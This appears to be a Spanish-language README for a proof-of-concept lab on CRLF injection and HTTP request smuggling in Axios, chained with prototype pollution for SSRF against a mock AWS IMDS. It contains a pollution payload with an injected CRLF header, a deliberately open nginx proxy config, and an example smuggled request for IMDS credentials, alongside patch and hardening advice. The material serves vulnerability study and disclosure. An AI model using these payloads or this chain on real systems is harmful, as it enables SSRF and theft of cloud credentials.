
Prueba de concepto que demuestra la inyección CRLF y el contrabando de solicitudes HTTP en Axios, encadenando la contaminación de prototipos para lograr SSRF y acceder a servicios internos como IMDS.
Vulnerabilidad de inyección CRLF causada por AxiosHeaders.set() del cliente HTTP Axios (>=1.0.0 <1.15.0, <0.31.0), que no valida \r\n dentro de los valores de los encabezados.
Si un atacante la combina con una contaminación de prototipos (Prototype Pollution) separada (lodash, qs, etc.) o inyecta CRLF directamente en los encabezados, es posible realizar SSRF hacia servidores internos arbitrarios a través de capas intermedias como un proxy abierto nginx.
| Elemento | Contenido |
|---|
| CVSS | 9.9 (Crítico) |
| Versiones afectadas | axios >=1.0.0 <1.15.0, axios <0.31.0 |
| Versiones parcheadas | 1.15.0, 0.31.0 |
| CWE | CWE-93 Neutralización incorrecta de secuencias CRLF |
lib/core/AxiosHeaders.js AxiosHeaders.set()
└─ normalizeValue()
└─ /[\r\n]+$/ elimina solo CRLF finales
↑ Los \r\n en medio del valor pasan sin cambios
Como resultado, al insertar \r\n\r\nGET /admin HTTP/1.1\r\n... en el valor de un encabezado, una segunda solicitud HTTP queda incluida directamente en el flujo TCP.
Todos los objetos de JavaScript heredan de Object.prototype. La contaminación de prototipos es un ataque que contamina este prototipo compartido, afectando a todos los objetos creados posteriormente.
Object.prototype.isAdmin = true;
const user = {};
user.isAdmin; // true ← existe sin haber sido declarado
Ocurre cuando una función merge recursiva vulnerable (lodash < 4.17.21, qs, etc.) no maneja especialmente la clave "__proto__".
function vulnerableMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
vulnerableMerge(target[key], source[key]);
// cuando key = "__proto__":
// target["__proto__"] → devuelve Object.prototype
// → vulnerableMerge(Object.prototype, source["__proto__"])
// → inyecta propiedades directamente en Object.prototype
} else {
target[key] = source[key];
}
}
}
// JSON del atacante: __proto__ se analiza como propiedad propia
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);
({}).headers; // { 'X-Smuggle': 'evil\r\n...' } ← contaminación exitosa
Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
↓
Código de la app: const opts = {};
opts.headers → cadena de prototipos → devuelve el objeto contaminado
↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...') ← sin validación de CRLF
↓
La solicitud contrabandeada queda incluida en el flujo TCP
Contaminar Object.prototype.headers también afecta a los objetos de esquema internos de axios.
Al llamar a assertOptions(config, schema)
schema['headers'] → cadena de prototipos → devuelve el objeto contaminado
validator(value) → llama al objeto como función → TypeError
En un ataque real, el alcance de la contaminación debe controlarse con precisión; una contaminación generalizada puede hacer fallar la propia aplicación antes del ataque previsto (efecto secundario de DoS).
[1] Inyección directa de encabezados o contaminación de prototipos (a través de una librería merge vulnerable)
↓
[2] axios serializa el valor con CRLF como encabezado sin validación
↓
[3] Se escribe en el flujo TCP con un net.Socket crudo
(el módulo http estándar de Node.js lo bloquea en tiempo de ejecución → se necesita un adapter personalizado)
↓
[4] nginx (proxy_pass http://$http_host) analiza y separa en 2 solicitudes
↓
[5] La solicitud contrabandeada se enruta a otro upstream según su encabezado Host (SSRF)
↓
[6] Acceso a servidores internos (IMDS, etc.) → robo de credenciales
| Condición | Contenido |
|---|---|
| Evasión del módulo http de Node.js | Uso de un adapter personalizado basado en net.Socket |
| Proxy abierto nginx | Configuración proxy_pass http://$http_host |
ignore_invalid_headers on | Permite encabezados anómalos |
Directiva resolver | Permite la resolución dinámica de hostnames |
┌─────────────────────────────────────────────────────────┐
│ Máquina anfitriona │
│ │
│ test-axios-adapter-*.js │
│ (net.Socket crudo → nginx:8080) │
│ │
│ navegador → exploit.html (3003) │
│ → relay (3004) → socket crudo → nginx:8080 │
└────────────────────┬────────────────────────────────────┘
│ Puente Docker (cve-net)
┌──────────┼──────────┬──────────────┐
▼ ▼ ▼ ▼
backend nginx imds (futuro)
:3001 :8080 :80
:3003 (simulacro 169.254.169.254)
:3004
| Puerto | Servicio | Función |
|---|---|---|
| 3001 | backend | Recepción de solicitudes HTTP / registro de encabezados |
| 3003 | backend | Servidor estático de exploit.html |
| 3004 | backend | relay — convierte POST del navegador → net.Socket |
| 8080 | nginx | Proxy abierto (proxy_pass http://$http_host) |
| 80 (interno) | imds | Servidor simulado de AWS IMDSv2 |
# Compilar e iniciar todos los contenedores
docker compose up --build
# Prueba de Node.js (ejecutar en el host)
npm install
# 1. Backend directo — se generan 2 solicitudes mediante inyección CRLF
node poc/test-axios-adapter-backend.js
# 2. A través de nginx — la solicitud contrabandeada se enruta a backend:3001
node poc/test-axios-adapter-nginx.js
# 3. Contaminación de prototipos → Inyección CRLF → cadena SSRF
node poc/test-prototype-pollution.js
# 4. Navegador — http://localhost:3003
# Selección de objetivo: backend directo / a través de nginx / nginx → IMDS (SSRF)
1. Seleccionar nginx → IMDS y ejecutar el Adapter personalizado
2. Solicitud contrabandeada: GET /latest/meta-data/iam/security-credentials/my-ec2-role
Host: imds
3. nginx enruta con host=imds → se envía al servidor simulado IMDSv2
4. Registro del contenedor imds: [!!!] ¡Robo de credenciales exitoso!
.
├── docker-compose.yml
├── Dockerfile.backend # contenedor backend + relay
├── Dockerfile.imds # contenedor simulado IMDSv2
├── package.json # [email protected] (versión vulnerable fijada)
└── poc/
├── backend-server.js # servidor HTTP (3001), relay (3004), servidor estático (3003)
├── mock-imds.js # simulacro de AWS IMDSv2 (PUT /token, GET /credentials)
├── nginx-container.conf # configuración de proxy abierto
├── exploit.html # PoC para navegador (XHR vs Adapter personalizado)
├── test-axios-adapter-backend.js # socket crudo → backend directo
├── test-axios-adapter-nginx.js # socket crudo → nginx → backend/imds
├── test-axios-no-adapter.js # axios estándar (para confirmar el bloqueo de Node.js)
└── test-prototype-pollution.js # cadena contaminación de prototipos → inyección CRLF
resolver 127.0.0.11 valid=30s; # DNS interno de Docker
location / {
proxy_pass http://$http_host; # enrutamiento dinámico basado en el encabezado Host = SSRF
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $http_host;
}
location /public {
proxy_pass http://backend:3001; # upstream fijo para solicitudes normales
}
Como se usa $http_host (incluido el puerto) como upstream, el encabezado Host de la solicitud contrabandeada se convierte directamente en el destino del enrutamiento.
npm install axios@^1.15.0
El parche (1.15.0) introduce assertValidHeaderValue(), que rechaza inmediatamente los valores que contienen CR/LF.
Defensas adicionales:
proxy_pass http://$http_host en nginx → usar upstreams fijosHttpTokens: required)